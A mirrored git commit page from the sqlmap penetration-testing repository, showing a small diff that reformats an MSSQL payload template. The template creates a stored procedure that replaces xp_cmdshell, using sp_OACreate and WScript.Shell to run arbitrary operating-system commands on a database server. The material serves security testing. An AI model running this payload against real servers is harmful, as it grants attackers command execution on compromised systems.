mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 03:23:48 +03:00
minor adjustments, #51
This commit is contained in:
parent
fd4cfb0cc0
commit
cd769ba68f
|
@ -1,8 +1,3 @@
|
|||
DECLARE @%RANDSTR% nvarchar(999);
|
||||
set @%RANDSTR%='
|
||||
CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int
|
||||
EXEC sp_OACreate ''WScript.Shell'',@ID OUT
|
||||
EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1
|
||||
EXEC sp_OADestroy @ID';
|
||||
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
|
||||
EXEC master..sp_executesql @%RANDSTR%
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user